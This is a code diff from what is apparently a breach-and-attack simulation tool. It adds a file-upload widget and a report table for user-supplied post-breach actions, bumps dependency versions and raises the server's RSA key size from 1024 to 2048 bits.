"core-util-is": {
|
||||
"version": "1.0.2",
|
||||
|
@ -18476,7 +18520,7 @@
|
|||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"minimatch": "3.0.4"
|
||||
"minimatch": "^3.0.4"
|
||||
}
|
||||
},
|
||||
"inflight": {
|
||||
|
@ -18492,7 +18536,8 @@
|
|||
"inherits": {
|
||||
"version": "2.0.3",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"ini": {
|
||||
"version": "1.3.5",
|
||||
|
@ -18504,6 +18549,7 @@
|
|||
"version": "1.0.0",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"number-is-nan": "^1.0.0"
|
||||
}
|
||||
|
@ -18526,12 +18572,14 @@
|
|||
"minimist": {
|
||||
"version": "0.0.8",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"minipass": {
|
||||
"version": "2.2.4",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"safe-buffer": "^5.1.1",
|
||||
"yallist": "^3.0.0"
|
||||
|
@ -18550,6 +18598,7 @@
|
|||
"version": "0.5.1",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"minimist": "0.0.8"
|
||||
}
|
||||
|
@ -18630,7 +18679,8 @@
|
|||
"number-is-nan": {
|
||||
"version": "1.0.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"object-assign": {
|
||||
"version": "4.1.1",
|
||||
|
@ -18642,6 +18692,7 @@
|
|||
"version": "1.4.0",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"wrappy": "1"
|
||||
}
|
||||
|
@ -18727,7 +18778,8 @@
|
|||
"safe-buffer": {
|
||||
"version": "5.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
|
@ -18763,6 +18815,7 @@
|
|||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"code-point-at": "^1.0.0",
|
||||
"is-fullwidth-code-point": "^1.0.0",
|
||||
|
@ -18782,6 +18835,7 @@
|
|||
"version": "3.0.1",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"ansi-regex": "^2.0.0"
|
||||
}
|
||||
|
@ -18825,12 +18879,14 @@
|
|||
"wrappy": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"yallist": {
|
||||
"version": "3.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
|
|
|
@ -64,10 +64,11 @@
|
|||
"webpack-dev-server": "^3.1.9"
|
||||
},
|
||||
"dependencies": {
|
||||
"bootstrap": "3.3.7",
|
||||
"bootstrap": "3.4.1",
|
||||
"core-js": "^2.5.7",
|
||||
"downloadjs": "^1.4.7",
|
||||
"fetch": "^1.1.0",
|
||||
"filepond": "^4.2.0",
|
||||
"js-file-download": "^0.4.4",
|
||||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
|
@ -83,6 +84,7 @@
|
|||
"react-dimensions": "^1.3.0",
|
||||
"react-dom": "^16.5.2",
|
||||
"react-fa": "^5.0.0",
|
||||
"react-filepond": "^7.0.1",
|
||||
"react-graph-vis": "^1.0.2",
|
||||
"react-json-tree": "^0.11.0",
|
||||
"react-jsonschema-form": "^1.0.5",
|
||||
|
|
|
@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
|
|||
super(props);
|
||||
this.auth = new AuthService();
|
||||
this.authFetch = this.auth.authFetch;
|
||||
this.jwtHeader = this.auth.jwtHeader();
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
|
|||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
removePBAfiles: false,
|
||||
completedSteps: {
|
||||
run_server: true,
|
||||
run_monkey: false,
|
||||
|
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
|
|||
};
|
||||
}
|
||||
|
||||
// Sets the property that indicates if we need to remove PBA files from state or not
|
||||
setRemovePBAfiles = (rmFiles) => {
|
||||
this.setState({removePBAfiles: rmFiles});
|
||||
};
|
||||
|
||||
componentDidMount() {
|
||||
this.updateStatus();
|
||||
this.interval = setInterval(this.updateStatus, 5000);
|
||||
|
|
|
@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
|
|||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
|
||||
class ConfigurePageComponent extends AuthComponent {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
|
||||
this.PBAwindowsPond = null;
|
||||
this.PBAlinuxPond = null;
|
||||
this.currentSection = 'basic';
|
||||
this.currentFormData = {};
|
||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
|
||||
this.uiSchema = {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
};
|
||||
// set schema from server
|
||||
this.state = {
|
||||
schema: {},
|
||||
|
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
lastAction: 'none',
|
||||
sections: [],
|
||||
selectedSection: 'basic',
|
||||
allMonkeysAreDead: true
|
||||
allMonkeysAreDead: true,
|
||||
PBAwinFile: [],
|
||||
PBAlinuxFile: []
|
||||
};
|
||||
}
|
||||
|
||||
|
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
resetConfig = () => {
|
||||
this.removePBAfiles();
|
||||
this.authFetch('/api/configuration/island',
|
||||
{
|
||||
method: 'POST',
|
||||
|
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
// We need to clean files from widget, local state and configuration (to sync with bac end)
|
||||
if (this.PBAwindowsPond !== null){
|
||||
this.PBAwindowsPond.removeFile();
|
||||
}
|
||||
if (this.PBAlinuxPond !== null){
|
||||
this.PBAlinuxPond.removeFile();
|
||||
}
|
||||
let request_options = {method: 'DELETE',
|
||||
headers: {'Content-Type': 'text/plain'}};
|
||||
this.authFetch('/api/fileUpload/PBAlinux', request_options);
|
||||
this.authFetch('/api/fileUpload/PBAwindows', request_options);
|
||||
this.setState({PBAlinuxFile: [], PBAwinFile: []});
|
||||
}
|
||||
|
||||
onReadFile = (event) => {
|
||||
try {
|
||||
this.setState({
|
||||
|
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
PBAwindows = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAwindows',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getWinPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAwinFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAwindowsPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
PBAlinux = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAlinux',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getLinuxPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAlinuxPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
getWinPBAfile(){
|
||||
if (this.state.PBAwinFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
|
||||
}
|
||||
}
|
||||
|
||||
getLinuxPBAfile(){
|
||||
if (this.state.PBAlinuxFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
|
||||
}
|
||||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
let pbaFile = [{
|
||||
source: filename,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
let pbaFile = [{
|
||||
source: mockFile.name,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
pbaFile[0].options.file = mockFile;
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties')) {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
|
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
{ this.state.selectedSection ?
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}>
|
||||
onChange={this.onChange}
|
||||
noValidate={true}>
|
||||
<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
|
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
</div>
|
||||
: ''}
|
||||
</div>
|
||||
|
||||
</Col>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
|||
import {Button, Col} from 'react-bootstrap';
|
||||
import BreachedServers from 'components/report-components/BreachedServers';
|
||||
import ScannedServers from 'components/report-components/ScannedServers';
|
||||
import PostBreach from 'components/report-components/PostBreach';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||
|
@ -403,15 +404,17 @@ class ReportPageComponent extends AuthComponent {
|
|||
generateReportRecommendationsSection() {
|
||||
return (
|
||||
<div id="recommendations">
|
||||
<h3>
|
||||
Domain related recommendations
|
||||
</h3>
|
||||
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
|
||||
* don't render it (since the issues themselves will be empty. */}
|
||||
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
|
||||
<h3>Domain related recommendations</h3> : null }
|
||||
<div>
|
||||
{this.generateIssues(this.state.report.recommendations.domain_issues)}
|
||||
</div>
|
||||
<h3>
|
||||
Machine related Recommendations
|
||||
</h3>
|
||||
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
|
||||
* don't render it (since the issues themselves will be empty. */}
|
||||
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
|
||||
<h3>Machine related recommendations</h3> : null }
|
||||
<div>
|
||||
{this.generateIssues(this.state.report.recommendations.issues)}
|
||||
</div>
|
||||
|
@ -460,6 +463,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div style={{marginBottom: '20px'}}>
|
||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<PostBreach data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table'
|
||||
|
||||
let renderArray = function(val) {
|
||||
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
|
||||
};
|
||||
|
||||
let renderMachine = function (data) {
|
||||
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
|
||||
};
|
||||
|
||||
let renderPbaResults = function (results) {
|
||||
let pbaClass = "";
|
||||
if (results[1]){
|
||||
pbaClass="pba-success"
|
||||
} else {
|
||||
pbaClass="pba-danger"
|
||||
}
|
||||
return <div className={pbaClass}> {results[0]} </div>
|
||||
};
|
||||
|
||||
const subColumns = [
|
||||
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
|
||||
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
|
||||
];
|
||||
|
||||
let renderDetails = function (data) {
|
||||
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
|
||||
let showPagination = data.length > pageSize;
|
||||
return <ReactTable
|
||||
data={data}
|
||||
columns={subColumns}
|
||||
defaultPageSize={defaultPageSize}
|
||||
showPagination={showPagination}
|
||||
style={{"background-color": "#ededed"}}
|
||||
/>
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Post breach actions',
|
||||
columns: [
|
||||
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
const pageSize = 10;
|
||||
|
||||
class PostBreachComponent extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
let pbaMachines = this.props.data.filter(function(value, index, arr){
|
||||
return ( value.pba_results !== "None" && value.pba_results.length > 0);
|
||||
});
|
||||
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
|
||||
let showPagination = pbaMachines > pageSize;
|
||||
return (
|
||||
<div className="data-table-container">
|
||||
<ReactTable
|
||||
columns={columns}
|
||||
data={pbaMachines}
|
||||
showPagination={showPagination}
|
||||
defaultPageSize={defaultPageSize}
|
||||
SubComponent={row => {
|
||||
return renderDetails(row.original.pba_results);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default PostBreachComponent;
|
|
@ -15,6 +15,12 @@ export default class AuthService {
|
|||
return this._authFetch(url, options);
|
||||
};
|
||||
|
||||
jwtHeader = () => {
|
||||
if (this._loggedIn()) {
|
||||
return 'JWT ' + this._getToken();
|
||||
}
|
||||
};
|
||||
|
||||
hashSha3(text) {
|
||||
let hash = new SHA3(512);
|
||||
hash.update(text);
|
||||
|
|
|
@ -163,6 +163,18 @@ body {
|
|||
* Configuration Page
|
||||
*/
|
||||
|
||||
.linux-pba-file-info, .windows-pba-file-info {
|
||||
display: none
|
||||
}
|
||||
|
||||
.filepond--root li {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
.filepond--root * {
|
||||
font-size: 1.04em;
|
||||
}
|
||||
|
||||
.rjsf .form-group .form-group {
|
||||
margin-left: 2em;
|
||||
}
|
||||
|
@ -412,6 +424,14 @@ body {
|
|||
top: 30%;
|
||||
}
|
||||
|
||||
.pba-danger {
|
||||
background-color: #ffc7af;
|
||||
}
|
||||
|
||||
.pba-success {
|
||||
background-color: #afd2a2;
|
||||
}
|
||||
|
||||
/* Print report styling */
|
||||
|
||||
@media print {
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
#!/bin/bash
|
||||
|
||||
cd /var/monkey/monkey_island
|
||||
openssl genrsa -out cc/server.key 1024
|
||||
openssl genrsa -out cc/server.key 2048
|
||||
openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com"
|
||||
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
python-dateutil
|
||||
tornado
|
||||
tornado==5.1.1
|
||||
werkzeug
|
||||
jinja2
|
||||
markupsafe
|
||||
|
@ -18,6 +18,7 @@ boto3
|
|||
botocore
|
||||
PyInstaller
|
||||
awscli
|
||||
bson
|
||||
cffi
|
||||
virtualenv
|
||||
wheel
|
||||
|
|
Loading…
Reference in New Issue